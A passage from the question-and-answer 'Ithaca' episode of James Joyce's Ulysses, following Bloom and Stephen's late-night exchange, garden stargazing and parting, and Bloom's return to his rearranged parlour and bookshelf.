was made, under correction, by Bloom concerning a fourth +seeker of pure truth, by name Aristotle, mentioned, with permission, by +Stephen? + +That the seeker mentioned had been a pupil of a rabbinical philosopher, +name uncertain. + +Were other anapocryphal illustrious sons of the law and children of a +selected or rejected race mentioned? + +Felix Bartholdy Mendelssohn (composer), Baruch Spinoza (philosopher), +Mendoza (pugilist), Ferdinand Lassalle (reformer, duellist). + +What fragments of verse from the ancient Hebrew and ancient Irish +languages were cited with modulations of voice and translation of texts +by guest to host and by host to guest? + +By Stephen: SUIL, SUIL, SUIL ARUN, SUIL GO SIOCAIR AGUS SUIL GO CUIN +(walk, walk, walk your way, walk in safety, walk with care). + +By Bloom: KIFELOCH, HARIMON RAKATEJCH M'BAAD L'ZAMATEJCH (thy temple amid +thy hair is as a slice of pomegranate). + +How was a glyphic comparison of the phonic symbols of both languages made +in substantiation of the oral comparison? + +By juxtaposition. On the penultimate blank page of a book of inferior +literary style, entituled SWEETS OF SIN (produced by Bloom and so +manipulated that its front cover carne in contact with the surface of the +table) with a pencil (supplied by Stephen) Stephen wrote the Irish +characters for gee, eh, dee, em, simple and modified, and Bloom in turn +wrote the Hebrew characters ghimel, aleph, daleth and (in the absence of +mem) a substituted qoph, explaining their arithmetical values as ordinal +and cardinal numbers, videlicet 3, 1, 4, and 100. + +Was the knowledge possessed by both of each of these languages, the +extinct and the revived, theoretical or practical? + +Theoretical, being confined to certain grammatical rules of accidence and +syntax and practically excluding vocabulary. + +What points of contact existed between these languages and between the +peoples who spoke them? + +The presence of guttural sounds, diacritic aspirations, epenthetic and +servile letters in both languages: their antiquity, both having been +taught on the plain of Shinar 242 years after the deluge in the seminary +instituted by Fenius Farsaigh, descendant of Noah, progenitor of Israel, +and ascendant of Heber and Heremon, progenitors of Ireland: their +archaeological, genealogical, hagiographical, exegetical, homiletic, +toponomastic, historical and religious literatures comprising the works +of rabbis and culdees, Torah, Talmud (Mischna and Ghemara), Massor, +Pentateuch, Book of the Dun Cow, Book of Ballymote, Garland of Howth, +Book of Kells: their dispersal, persecution, survival and revival: the +isolation of their synagogical and ecclesiastical rites in ghetto (S. +Mary's Abbey) and masshouse (Adam and Eve's tavern): the proscription of +their national costumes in penal laws and jewish dress acts: the +restoration in Chanah David of Zion and the possibility of Irish +political autonomy or devolution. + +What anthem did Bloom chant partially in anticipation of that multiple, +ethnically irreducible consummation? + + + KOLOD BALEJWAW PNIMAH + NEFESCH, JEHUDI, HOMIJAH. + + +Why was the chant arrested at the conclusion of this first distich? + +In consequence of defective mnemotechnic. + + +How did the chanter compensate for this deficiency? + +By a periphrastic version of the general text. + + +In what common study did their mutual reflections merge? + +The increasing simplification traceable from the Egyptian epigraphic +hieroglyphs to the Greek and Roman alphabets and the anticipation of +modern stenography and telegraphic code in the cuneiform inscriptions +(Semitic) and the virgular quinquecostate ogham writing (Celtic). Did the +guest comply with his host's request? + +Doubly, by appending his signature in Irish and Roman characters. + + +What was Stephen's auditive sensation? + +He heard in a profound ancient male unfamiliar melody the accumulation of +the past. + + +What was Bloom's visual sensation? + +He saw in a quick young male familiar form the predestination of a future. + + +What were Stephen's and Bloom's quasisimultaneous volitional +quasisensations of concealed identities? + +Visually, Stephen's: The traditional figure of hypostasis, depicted by +Johannes Damascenus, Lentulus Romanus and Epiphanius Monachus as +leucodermic, sesquipedalian with winedark hair. Auditively, Bloom's: The +traditional accent of the ecstasy of catastrophe. + +What future careers had been possible for Bloom in the past and with what +exemplars? + +In the church, Roman, Anglican or Nonconformist: exemplars, the very +reverend John Conmee S. J., the reverend T. Salmon, D. D., provost of +Trinity college, Dr Alexander J. Dowie. At the bar, English or Irish: +exemplars, Seymour Bushe, K. C., Rufus Isaacs, K. C. On the stage modern +or Shakespearean: exemplars, Charles Wyndham, high comedian Osmond Tearle +(died 1901), exponent of Shakespeare. + +Did the host encourage his guest to chant in a modulated voice a strange +legend on an allied theme? + +Reassuringly, their place, where none could hear them talk, being +secluded, reassured, the decocted beverages, allowing for subsolid +residual sediment of a mechanical mixture, water plus sugar plus cream +plus cocoa, having been consumed. + +Recite the first (major) part of this chanted legend. + + + LITTLE HARRY HUGHES AND HIS SCHOOLFELLOWS ALL + WENT OUT FOR TO PLAY BALL. + AND THE VERY FIRST BALL LITTLE HARRY HUGHES PLAYED + HE DROVE IT O'ER THE JEW'S GARDEN WALL. + AND THE VERY SECOND BALL LITTLE HARRY HUGHES PLAYED + HE BROKE THE JEW'S WINDOWS ALL. + + +How did the son of Rudolph receive this first part? + +With unmixed feeling. Smiling, a jew he heard with pleasure and saw the +unbroken kitchen window. + +Recite the second part (minor) of the legend. + + + THEN OUT THERE CAME THE JEW'S DAUGHTER + AND SHE ALL DRESSED IN GREEN. + "COME BACK, COME BACK, YOU PRETTY LITTLE BOY, + AND PLAY YOUR BALL AGAIN." + + "I CAN'T COME BACK AND I WON'T COME BACK + WITHOUT MY SCHOOLFELLOWS ALL. + FOR IF MY MASTER HE DID HEAR + HE'D MAKE IT A SORRY BALL." + + SHE TOOK HIM BY THE LILYWHITE HAND + AND LED HIM ALONG THE HALL + UNTIL SHE LED HIM TO A ROOM + WHERE NONE COULD HEAR HIM CALL. + + SHE TOOK A PENKNIFE OUT OF HER POCKET + AND CUT OFF HIS LITTLE HEAD. + AND NOW HE'LL PLAY HIS BALL NO MORE + FOR HE LIES AMONG THE DEAD. + + +How did the father of Millicent receive this second part? + +With mixed feelings. Unsmiling, he heard and saw with wonder a jew's +daughter, all dressed in green. + +Condense Stephen's commentary. + +One of all, the least of all, is the victim predestined. Once by +inadvertence twice by design he challenges his destiny. It comes when he +is abandoned and challenges him reluctant and, as an apparition of hope +and youth, holds him unresisting. It leads him to a strange habitation, +to a secret infidel apartment, and there, implacable, immolates him, +consenting. + +Why was the host (victim predestined) sad? + +He wished that a tale of a deed should be told of a deed not by him +should by him not be told. + +Why was the host (reluctant, unresisting) still? + +In accordance with the law of the conservation of energy. + +Why was the host (secret infidel) silent? + +He weighed the possible evidences for and against ritual murder: the +incitations of the hierarchy, the superstition of the populace, the +propagation of rumour in continued fraction of veridicity, the envy of +opulence, the influence of retaliation, the sporadic reappearance of +atavistic delinquency, the mitigating circumstances of fanaticism, +hypnotic suggestion and somnambulism. + +From which (if any) of these mental or physical disorders was he not +totally immune? + +From hypnotic suggestion: once, waking, he had not recognised his +sleeping apartment: more than once, waking, he had been for an indefinite +time incapable of moving or uttering sounds. From somnambulism: once, +sleeping, his body had risen, crouched and crawled in the direction of a +heatless fire and, having attained its destination, there, curled, +unheated, in night attire had lain, sleeping. + +Had this latter or any cognate phenomenon declared itself in any member +of his family? + +Twice, in Holles street and in Ontario terrace, his daughter Millicent +(Milly) at the ages of 6 and 8 years had uttered in sleep an exclamation +of terror and had replied to the interrogations of two figures in night +attire with a vacant mute expression. + +What other infantile memories had he of her? + +15 June 1889. A querulous newborn female infant crying to cause and +lessen congestion. A child renamed Padney Socks she shook with shocks her +moneybox: counted his three free moneypenny buttons, one, tloo, tlee: a +doll, a boy, a sailor she cast away: blond, born of two dark, she had +blond ancestry, remote, a violation, Herr Hauptmann Hainau, Austrian +army, proximate, a hallucination, lieutenant Mulvey, British navy. + +What endemic characteristics were present? + +Conversely the nasal and frontal formation was derived in a direct line +of lineage which, though interrupted, would continue at distant intervals +to more distant intervals to its most distant intervals. + +What memories had he of her adolescence? + +She relegated her hoop and skippingrope to a recess. On the duke's lawn, +entreated by an English visitor, she declined to permit him to make and +take away her photographic image (objection not stated). On the South +Circular road in the company of Elsa Potter, followed by an individual of +sinister aspect, she went half way down Stamer street and turned abruptly +back (reason of change not stated). On the vigil of the 15th anniversary +of her birth she wrote a letter from Mullingar, county Westmeath, making +a brief allusion to a local student (faculty and year not stated). + +Did that first division, portending a second division, afflict him? + +Less than he had imagined, more than he had hoped. + +What second departure was contemporaneously perceived by him similarly, +if differently? + +A temporary departure of his cat. + +Why similarly, why differently? + +Similarly, because actuated by a secret purpose the quest of a new male + +(Mullingar student) or of a healing herb (valerian). Differently, because +of different possible returns to the inhabitants or to the habitation. + +In other respects were their differences similar? + +In passivity, in economy, in the instinct of tradition, in +unexpectedness. + +As? + +Inasmuch as leaning she sustained her blond hair for him to ribbon it for +her (cf neckarching cat). Moreover, on the free surface of the lake in +Stephen's green amid inverted reflections of trees her uncommented spit, +describing concentric circles of waterrings, indicated by the constancy +of its permanence the locus of a somnolent prostrate fish (cf +mousewatching cat). + +Again, in order to remember the date, combatants, issue and consequences +of a famous military engagement she pulled a plait of her hair (cf +earwashing cat). Furthermore, silly Milly, she dreamed of having had an +unspoken unremembered conversation with a horse whose name had been +Joseph to whom (which) she had offered a tumblerful of lemonade which it +(he) had appeared to have accepted (cf hearthdreaming cat). Hence, in +passivity, in economy, in the instinct of tradition, in unexpectedness, +their differences were similar. + +In what way had he utilised gifts 1) an owl, 2) a clock, given as +matrimonial auguries, to interest and to instruct her? + +As object lessons to explain: 1) the nature and habits of oviparous +animals, the possibility of aerial flight, certain abnormalities of +vision, the secular process of imbalsamation: 2) the principle of the +pendulum, exemplified in bob, wheelgear and regulator, the translation in +terms of human or social regulation of the various positions of clockwise +moveable indicators on an unmoving dial, the exactitude of the recurrence +per hour of an instant in each hour when the longer and the shorter +indicator were at the same angle of inclination, VIDELICET, 5 5/11 +minutes past each hour per hour in arithmetical progression. + +In what manners did she reciprocate? + +She remembered: on the 27th anniversary of his birth she presented to him +a breakfast moustachecup of imitation Crown Derby porcelain ware. She +provided: at quarter day or thereabouts if or when purchases had been +made by him not for her she showed herself attentive to his necessities, +anticipating his desires. She admired: a natural phenomenon having been +explained by him to her she expressed the immediate desire to possess +without gradual acquisition a fraction of his science, the moiety, the +quarter, a thousandth part. + +What proposal did Bloom, diambulist, father of Milly, somnambulist, make +to Stephen, noctambulist? + +To pass in repose the hours intervening between Thursday (proper) and +Friday (normal) on an extemporised cubicle in the apartment immediately +above the kitchen and immediately adjacent to the sleeping apartment of +his host and hostess. + +What various advantages would or might have resulted from a prolongation +of such an extemporisation? + +For the guest: security of domicile and seclusion of study. For the host: +rejuvenation of intelligence, vicarious satisfaction. For the hostess: +disintegration of obsession, acquisition of correct Italian +pronunciation. + +Why might these several provisional contingencies between a guest and a +hostess not necessarily preclude or be precluded by a permanent +eventuality of reconciliatory union between a schoolfellow and a jew's +daughter? + +Because the way to daughter led through mother, the way to mother through +daughter. + +To what inconsequent polysyllabic question of his host did the guest +return a monosyllabic negative answer? + +If he had known the late Mrs Emily Sinico, accidentally killed at Sydney +Parade railway station, 14 October 1903. + +What inchoate corollary statement was consequently suppressed by the +host? + +A statement explanatory of his absence on the occasion of the interment +of Mrs Mary Dedalus (born Goulding), 26 June 1903, vigil of the +anniversary of the decease of Rudolph Bloom (born Virag). + +Was the proposal of asylum accepted? + +Promptly, inexplicably, with amicability, gratefully it was declined. +What exchange of money took place between host and guest? + +The former returned to the latter, without interest, a sum of money +(1-7-0), one pound seven shillings sterling, advanced by the latter to +the former. + +What counterproposals were alternately advanced, accepted, modified, +declined, restated in other terms, reaccepted, ratified, reconfirmed? + +To inaugurate a prearranged course of Italian instruction, place the +residence of the instructed. To inaugurate a course of vocal instruction, +place the residence of the instructress. To inaugurate a series of static +semistatic and peripatetic intellectual dialogues, places the residence +of both speakers (if both speakers were resident in the same place), the +Ship hotel and tavern, 6 Lower Abbey street (W. and E. Connery, +proprietors), the National Library of Ireland, 10 Kildare street, the +National Maternity Hospital, 29, 30 and 31 Holles street, a public +garden, the vicinity of a place of worship, a conjunction of two or more +public thoroughfares, the point of bisection of a right line drawn +between their residences (if both speakers were resident in different +places). + +What rendered problematic for Bloom the realisation of these mutually +selfexcluding propositions? + +The irreparability of the past: once at a performance of Albert Hengler's +circus in the Rotunda, Rutland square, Dublin, an intuitive particoloured +clown in quest of paternity had penetrated from the ring to a place in +the auditorium where Bloom, solitary, was seated and had publicly +declared to an exhilarated audience that he (Bloom) was his (the clown's) +papa. The imprevidibility of the future: once in the summer of 1898 he +(Bloom) had marked a florin (2/-) with three notches on the milled edge +and tendered it m payment of an account due to and received by J. and T. +Davy, family grocers, 1 Charlemont Mall, Grand Canal, for circulation on +the waters of civic finance, for possible, circuitous or direct, return. + +Was the clown Bloom's son? + +No. + +Had Bloom's coin returned? + +Never. + +Why would a recurrent frustration the more depress him? + +Because at the critical turningpoint of human existence he desired to +amend many social conditions, the product of inequality and avarice and +international animosity. + +He believed then that human life was infinitely perfectible, eliminating +these conditions? + +There remained the generic conditions imposed by natural, as distinct +from human law, as integral parts of the human whole: the necessity of +destruction to procure alimentary sustenance: the painful character of +the ultimate functions of separate existence, the agonies of birth and +death: the monotonous menstruation of simian and (particularly) human +females extending from the age of puberty to the menopause: inevitable +accidents at sea, in mines and factories: certain very painful maladies +and their resultant surgical operations, innate lunacy and congenital +criminality, decimating epidemics: catastrophic cataclysms which make +terror the basis of human mentality: seismic upheavals the epicentres of +which are located in densely populated regions: the fact of vital growth, +through convulsions of metamorphosis, from infancy through maturity to +decay. + +Why did he desist from speculation? + +Because it was a task for a superior intelligence to substitute other +more acceptable phenomena in the place of the less acceptable phenomena +to be removed. + +Did Stephen participate in his dejection? + +He affirmed his significance as a conscious rational animal proceeding +syllogistically from the known to the unknown and a conscious rational +reagent between a micro and a macrocosm ineluctably constructed upon the +incertitude of the void. + +Was this affirmation apprehended by Bloom? + +Not verbally. Substantially. + +What comforted his misapprehension? + +That as a competent keyless citizen he had proceeded energetically from +the unknown to the known through the incertitude of the void. + +In what order of precedence, with what attendant ceremony was the exodus +from the house of bondage to the wilderness of inhabitation effected? + + +Lighted Candle in Stick borne by +BLOOM +Diaconal Hat on Ashplant borne by +STEPHEN: + + +With what intonation secreto of what commemorative psalm? + +The 113th, MODUS PEREGRINUS: IN EXITU ISRAEL DE EGYPTO: DOMUS JACOB DE +POPULO BARBARO. + + +What did each do at the door of egress? + +Bloom set the candlestick on the floor. Stephen put the hat on his head. + + +For what creature was the door of egress a door of ingress? + +For a cat. + + +What spectacle confronted them when they, first the host, then the guest, +emerged silently, doubly dark, from obscurity by a passage from the rere +of the house into the penumbra of the garden? + +The heaventree of stars hung with humid nightblue fruit. + +With what meditations did Bloom accompany his demonstration to his +companion of various constellations? + +Meditations of evolution increasingly vaster: of the moon invisible in +incipient lunation, approaching perigee: of the infinite lattiginous +scintillating uncondensed milky way, discernible by daylight by an +observer placed at the lower end of a cylindrical vertical shaft 5000 ft +deep sunk from the surface towards the centre of the earth: of Sirius +(alpha in Canis Maior) 10 lightyears (57,000,000,000,000 miles) distant +and in volume 900 times the dimension of our planet: of Arcturus: of the +precession of equinoxes: of Orion with belt and sextuple sun theta and +nebula in which 100 of our solar systems could be contained: of moribund +and of nascent new stars such as Nova in 1901: of our system plunging +towards the constellation of Hercules: of the parallax or parallactic +drift of socalled fixed stars, in reality evermoving wanderers from +immeasurably remote eons to infinitely remote futures in comparison with +which the years, threescore and ten, of allotted human life formed a +parenthesis of infinitesimal brevity. + +Were there obverse meditations of involution increasingly less vast? + +Of the eons of geological periods recorded in the stratifications of the +earth: of the myriad minute entomological organic existences concealed in +cavities of the earth, beneath removable stones, in hives and mounds, of +microbes, germs, bacteria, bacilli, spermatozoa: of the incalculable +trillions of billions of millions of imperceptible molecules contained by +cohesion of molecular affinity in a single pinhead: of the universe of +human serum constellated with red and white bodies, themselves universes +of void space constellated with other bodies, each, in continuity, its +universe of divisible component bodies of which each was again divisible +in divisions of redivisible component bodies, dividends and divisors ever +diminishing without actual division till, if the progress were carried +far enough, nought nowhere was never reached. + +Why did he not elaborate these calculations to a more precise result? + +Because some years previously in 1886 when occupied with the problem of +the quadrature of the circle he had learned of .the existence of a number +computed to a relative degree of accuracy to be of such magnitude and of +so many places, e.g., the 9th power of the 9th power of 9, that, the +result having been obtained, 33 closely printed volumes of 1000 pages +each of innumerable quires and reams of India paper would have to be +requisitioned in order to contain the complete tale of its printed +integers of units, tens, hundreds, thousands, tens of thousands, hundreds +of thousands, millions, tens of millions, hundreds of millions, billions, +the nucleus of the nebula of every digit of every series containing +succinctly the potentiality of being raised to the utmost kinetic +elaboration of any power of any of its powers. + +Did he find the problems of the inhabitability of the planets and their +satellites by a race, given in species, and of the possible social and +moral redemption of said race by a redeemer, easier of solution? + +Of a different order of difficulty. Conscious that the human organism, +normally capable of sustaining an atmospheric pressure of 19 tons, when +elevated to a considerable altitude in the terrestrial atmosphere +suffered with arithmetical progression of intensity, according as the +line of demarcation between troposphere and stratosphere was approximated +from nasal hemorrhage, impeded respiration and vertigo, when proposing +this problem for solution, he had conjectured as a working hypothesis +which could not be proved impossible that a more adaptable and +differently anatomically constructed race of beings might subsist +otherwise under Martian, Mercurial, Veneral, Jovian, Saturnian, Neptunian +or Uranian sufficient and equivalent conditions, though an apogean +humanity of beings created in varying forms with finite differences +resulting similar to the whole and to one another would probably there as +here remain inalterably and inalienably attached to vanities, to vanities +of vanities and to all that is vanity. + +And the problem of possible redemption? + +The minor was proved by the major. + +Which various features of the constellations were in turn considered? + +The various colours significant of various degrees of vitality (white, +yellow, crimson, vermilion, cinnabar): their degrees of brilliancy: their +magnitudes revealed up to and including the 7th: their positions: the +waggoner's star: Walsingham way: the chariot of David: the annular +cinctures of Saturn: the condensation of spiral nebulae into suns: the +interdependent gyrations of double suns: the independent synchronous +discoveries of Galileo, Simon Marius, Piazzi, Le Verrier, Herschel, +Galle: the systematisations attempted by Bode and Kepler of cubes of +distances and squares of times of revolution: the almost infinite +compressibility of hirsute comets and their vast elliptical egressive and +reentrant orbits from perihelion to aphelion: the sidereal origin of +meteoric stones: the Libyan floods on Mars about the period of the birth +of the younger astroscopist: the annual recurrence of meteoric showers +about the period of the feast of S. Lawrence (martyr, lo August): the +monthly recurrence known as the new moon with the old moon in her arms: +the posited influence of celestial on human bodies: the appearance of a +star (1st magnitude) of exceeding brilliancy dominating by night and day +(a new luminous sun generated by the collision and amalgamation in +incandescence of two nonluminous exsuns) about the period of the birth of +William Shakespeare over delta in the recumbent neversetting +constellation of Cassiopeia and of a star (2nd magnitude) of similar +origin but of lesser brilliancy which had appeared in and disappeared +from the constellation of the Corona Septentrionalis about the period of +the birth of Leopold Bloom and of other stars of (presumably) similar +origin which had (effectively or presumably) appeared in and disappeared +from the constellation of Andromeda about the period of the birth of +Stephen Dedalus, and in and from the constellation of Auriga some years +after the birth and death of Rudolph Bloom, junior, and in and from other +constellations some years before or after the birth or death of other +persons: the attendant phenomena of eclipses, solar and lunar, from +immersion to emersion, abatement of wind, transit of shadow, taciturnity +of winged creatures, emergence of nocturnal or crepuscular animals, +persistence of infernal light, obscurity of terrestrial waters, pallor of +human beings. + +His (Bloom's) logical conclusion, having weighed the matter and allowing +for possible error? + +That it was not a heaventree, not a heavengrot, not a heavenbeast, not a +heavenman. That it was a Utopia, there being no known method from the +known to the unknown: an infinity renderable equally finite by the +suppositious apposition of one or more bodies equally of the same and of +different magnitudes: a mobility of illusory forms immobilised in space, +remobilised in air: a past which possibly had ceased to exist as a +present before its probable spectators had entered actual present +existence. + +Was he more convinced of the esthetic value of the spectacle? + +Indubitably in consequence of the reiterated examples of poets in the +delirium of the frenzy of attachment or in the abasement of rejection +invoking ardent sympathetic constellations or the frigidity of the +satellite of their planet. + +Did he then accept as an article of belief the theory of astrological +influences upon sublunary disasters? + +It seemed to him as possible of proof as of confutation and the +nomenclature employed in its selenographical charts as attributable to +verifiable intuition as to fallacious analogy: the lake of dreams, the +sea of rains, the gulf of dews, the ocean of fecundity. + +What special affinities appeared to him to exist between the moon and +woman? + +Her antiquity in preceding and surviving successive tellurian +generations: her nocturnal predominance: her satellitic dependence: her +luminary reflection: her constancy under all her phases, rising and +setting by her appointed times, waxing and waning: the forced +invariability of her aspect: her indeterminate response to inaffirmative +interrogation: her potency over effluent and refluent waters: her power +to enamour, to mortify, to invest with beauty, to render insane, to +incite to and aid delinquency: the tranquil inscrutability of her visage: +the terribility of her isolated dominant implacable resplendent +propinquity: her omens of tempest and of calm: the stimulation of her +light, her motion and her presence: the admonition of her craters, her +arid seas, her silence: her splendour, when visible: her attraction, when +invisible. + +What visible luminous sign attracted Bloom's, who attracted Stephen's, +gaze? + +In the second storey (rere) of his (Bloom's) house the light of a +paraffin oil lamp with oblique shade projected on a screen of roller +blind supplied by Frank O'Hara, window blind, curtain pole and revolving +shutter manufacturer, 16 Aungier street. + +How did he elucidate the mystery of an invisible attractive person, his +wife Marion (Molly) Bloom, denoted by a visible splendid sign, a lamp? + +With indirect and direct verbal allusions or affirmations: with subdued +affection and admiration: with description: with impediment: with +suggestion. + +Both then were silent? + +Silent, each contemplating the other in both mirrors of the reciprocal +flesh of theirhisnothis fellowfaces. + +Were they indefinitely inactive? + +At Stephen's suggestion, at Bloom's instigation both, first Stephen, then +Bloom, in penumbra urinated, their sides contiguous, their organs of +micturition reciprocally rendered invisible by manual circumposition, +their gazes, first Bloom's, then Stephen's, elevated to the projected +luminous and semiluminous shadow. + +Similarly? + +The trajectories of their, first sequent, then simultaneous, urinations +were dissimilar: Bloom's longer, less irruent, in the incomplete form of +the bifurcated penultimate alphabetical letter, who in his ultimate year +at High School (1880) had been capable of attaining the point of greatest +altitude against the whole concurrent strength of the institution, 210 +scholars: Stephen's higher, more sibilant, who in the ultimate hours of +the previous day had augmented by diuretic consumption an insistent +vesical pressure. + +What different problems presented themselves to each concerning the +invisible audible collateral organ of the other? + +To Bloom: the problems of irritability, tumescence, rigidity, reactivity, +dimension, sanitariness, pilosity. + +To Stephen: the problem of the sacerdotal integrity of Jesus circumcised +(I January, holiday of obligation to hear mass and abstain from +unnecessary servile work) and the problem as to whether the divine +prepuce, the carnal bridal ring of the holy Roman catholic apostolic +church, conserved in Calcata, were deserving of simple hyperduly or of +the fourth degree of latria accorded to the abscission of such divine +excrescences as hair and toenails. + +What celestial sign was by both simultaneously observed? + +A star precipitated with great apparent velocity across the firmament +from Vega in the Lyre above the zenith beyond the stargroup of the Tress +of Berenice towards the zodiacal sign of Leo. + +How did the centripetal remainer afford egress to the centrifugal +departer? + +By inserting the barrel of an arruginated male key in the hole of an +unstable female lock, obtaining a purchase on the bow of the key and +turning its wards from right to left, withdrawing a bolt from its staple, +pulling inward spasmodically an obsolescent unhinged door and revealing +an aperture for free egress and free ingress. + +How did they take leave, one of the other, in separation? + +Standing perpendicular at the same door and on different sides of its +base, the lines of their valedictory arms, meeting at any point and +forming any angle less than the sum of two right angles. + +What sound accompanied the union of their tangent, the disunion of their +(respectively) centrifugal and centripetal hands? + +The sound of the peal of the hour of the night by the chime of the bells +in the church of Saint George. + +What echoes of that sound were by both and each heard? + +By Stephen: + + + LILIATA RUTILANTIUM. TURMA CIRCUMDET. + IUBILANTIUM TE VIRGINUM. CHORUS EXCIPIAT. + + +By Bloom: + + + HEIGHO, HEIGHO, + HEIGHO, HEIGHO. + + +Where were the several members of the company which with Bloom that day +at the bidding of that peal had travelled from Sandymount in the south to +Glasnevin in the north? + +Martin Cunningham (in bed), Jack Power (in bed), Simon Dedalus (in bed), +Ned Lambert (in bed), Tom Kernan (in bed), Joe Hynes (in bed), John Henry +Menton (in bed), Bernard Corrigan (in bed), Patsy Dignam (in bed), Paddy +Dignam (in the grave). + +Alone, what did Bloom hear? + +The double reverberation of retreating feet on the heavenborn earth, the +double vibration of a jew's harp in the resonant lane. + +Alone, what did Bloom feel? + +The cold of interstellar space, thousands of degrees below freezing point +or the absolute zero of Fahrenheit, Centigrade or Reaumur: the incipient +intimations of proximate dawn. + +Of what did bellchime and handtouch and footstep and lonechill remind +him? + +Of companions now in various manners in different places defunct: Percy +Apjohn (killed in action, Modder River), Philip Gilligan (phthisis, +Jervis Street hospital), Matthew F. Kane (accidental drowning, Dublin +Bay), Philip Moisel (pyemia, Heytesbury street), Michael Hart (phthisis, +Mater Misericordiae hospital), Patrick Dignam (apoplexy, Sandymount). + +What prospect of what phenomena inclined him to remain? + +The disparition of three final stars, the diffusion of daybreak, the +apparition of a new solar disk. + +Had he ever been a spectator of those phenomena? + +Once, in 1887, after a protracted performance of charades in the house of +Luke Doyle, Kimmage, he had awaited with patience the apparition of the +diurnal phenomenon, seated on a wall, his gaze turned in the direction of +Mizrach, the east. + +He remembered the initial paraphenomena? + +More active air, a matutinal distant cock, ecclesiastical clocks at +various points, avine music, the isolated tread of an early wayfarer, the +visible diffusion of the light of an invisible luminous body, the first +golden limb of the resurgent sun perceptible low on the horizon. + +Did he remain? + +With deep inspiration he returned, retraversing the garden, reentering +the passage, reclosing the door. With brief suspiration he reassumed the +candle, reascended the stairs, reapproached the door of the front room, +hallfloor, and reentered. + +What suddenly arrested his ingress? + +The right temporal lobe of the hollow sphere of his cranium came into +contact with a solid timber angle where, an infinitesimal but sensible +fraction of a second later, a painful sensation was located in +consequence of antecedent sensations transmitted and registered. + +Describe the alterations effected in the disposition of the articles of +furniture. + +A sofa upholstered in prune plush had been translocated from opposite the +door to the ingleside near the compactly furled Union Jack (an alteration +which he had frequently intended to execute): the blue and white checker +inlaid majolicatopped table had been placed opposite the door in the +place vacated by the prune plush sofa: the walnut sideboard (a projecting +angle of which had momentarily arrested his ingress) had been moved from +its position beside the door to a more advantageous but more perilous +position in front of the door: two chairs had been moved from right and +left of the ingleside to the position originally occupied by the blue and +white checker inlaid majolicatopped table. + +Describe them. + +One: a squat stuffed easychair, with stout arms extended and back slanted +to the rere, which, repelled in recoil, had then upturned an irregular +fringe of a rectangular rug and now displayed on its amply upholstered +seat a centralised diffusing and diminishing discolouration. The other: a +slender splayfoot chair of glossy cane curves, placed directly opposite +the former, its frame from top to seat and from seat to base being +varnished dark brown, its seat being a bright circle of white plaited +rush. + +What significances attached to these two chairs? + +Significances of similitude, of posture, of symbolism, of circumstantial +evidence, of testimonial supermanence. + +What occupied the position originally occupied by the sideboard? + +A vertical piano (Cadby) with exposed keyboard, its closed coffin +supporting a pair of long yellow ladies' gloves and an emerald ashtray +containing four consumed matches, a partly consumed cigarette and two +discoloured ends of cigarettes, its musicrest supporting the music in the +key of G natural for voice and piano of LOVE'S OLD SWEET SONG (words by +G. Clifton Bingham, composed by J. L. Molloy, sung by Madam Antoinette +Sterling) open at the last page with the final indications AD LIBITUM, +FORTE, pedal, ANIMATO, sustained pedal, RITIRANDO, close. + +With what sensations did Bloom contemplate in rotation these objects? + +With strain, elevating a candlestick: with pain, feeling on his right +temple a contused tumescence: with attention, focussing his gaze on a +large dull passive and a slender bright active: with solicitation, +bending and downturning the upturned rugfringe: with amusement, +remembering Dr Malachi Mulligan's scheme of colour containing the +gradation of green: with pleasure, repeating the words and antecedent act +and perceiving through various channels of internal sensibility the +consequent and concomitant tepid pleasant diffusion of gradual +discolouration. + +His next proceeding? + +From an open box on the majolicatopped table he extracted a black +diminutive cone, one inch in height, placed it on its circular base on a +small tin plate, placed his candlestick on the right corner of the +mantelpiece, produced from his waistcoat a folded page of prospectus +(illustrated) entitled Agendath Netaim, unfolded the same, examined it +superficially, rolled it into a thin cylinder, ignited it in the +candleflame, applied it when ignited to the apex of the cone till the +latter reached the stage of rutilance, placed the cylinder in the basin +of the candlestick disposing its unconsumed part in such a manner as to +facilitate total combustion. + +What followed this operation? + +The truncated conical crater summit of the diminutive volcano emitted a +vertical and serpentine fume redolent of aromatic oriental incense. + +What homothetic objects, other than the candlestick, stood on the +mantelpiece? + +A timepiece of striated Connemara marble, stopped at the hour of 4.46 +a.m. on the 21 March 1896, matrimonial gift of Matthew Dillon: a dwarf +tree of glacial arborescence under a transparent bellshade, matrimonial +gift of Luke and Caroline Doyle: an embalmed owl, matrimonial gift of +Alderman John Hooper. + +What interchanges of looks took place between these three objects and +Bloom? + +In the mirror of the giltbordered pierglass the undecorated back of the +dwarf tree regarded the upright back of the embalmed owl. Before the +mirror the matrimonial gift of Alderman John Hooper with a clear +melancholy wise bright motionless compassionate gaze regarded Bloom while +Bloom with obscure tranquil profound motionless compassionated gaze +regarded the matrimonial gift of Luke and Caroline Doyle. + +What composite asymmetrical image in the mirror then attracted his +attention? + +The image of a solitary (ipsorelative) mutable (aliorelative) man. + +Why solitary (ipsorelative)? + + + BROTHERS AND SISTERS HAD HE NONE. + YET THAT MAN'S FATHER WAS HIS GRANDFATHER'S SON. + + +Why mutable (aliorelative)? + +From infancy to maturity he had resembled his maternal procreatrix. From +maturity to senility he would increasingly resemble his paternal +procreator. + +What final visual impression was communicated to him by the mirror? + +The optical reflection of several inverted volumes improperly arranged +and not in the order of their common letters with scintillating titles on +the two bookshelves opposite. + + +Catalogue these books. + +THOM'S DUBLIN POST OFFICE DIRECTORY, 1886. +Denis Florence M'Carthy's POETICAL WORKS (copper beechleaf bookmark + at p. 5). +Shakespeare's WORKS (dark crimson morocco, goldtooled). +THE USEFUL READY RECKONER (brown cloth). +THE SECRET HISTORY OF THE COURT OF CHARLES II (red cloth, tooled + binding). +THE CHILD'S GUIDE (blue cloth). +The Beauties of Killarney (wrappers). +WHEN WE WERE BOYS by William O'Brien M. P. (green cloth, slightly faded, + envelope bookmark at p. 217). +THOUGHTS FROM SPINOZA (maroon leather). +THE STORY OF THE HEAVENS by Sir Robert Ball (blue cloth). +Ellis's THREE TRIPS TO MADAGASCAR (brown cloth, title obliterated). +THE STARK-MUNRO LETTERS by A. Conan Doyle, property of the City of + Dublin Public Library, 106 Capel street, lent 21 May (Whitsun Eve) + 1904, due 4 June 1904, 13 days overdue (black cloth binding, bearing + white letternumber ticket). +VOYAGES IN CHINA by "Viator" (recovered with brown paper, red ink title). +PHILOSOPHY OF THE TALMUD (sewn pamphlet). +Lockhart's LIFE OF NAPOLEON (cover wanting, marginal annotations, + minimising victories, aggrandising defeats of the protagonist). +SOLL UND HABEN by Gustav Freytag (black boards, Gothic characters, + cigarette coupon bookmark at p. 24). +Hozier's HISTORY OF THE 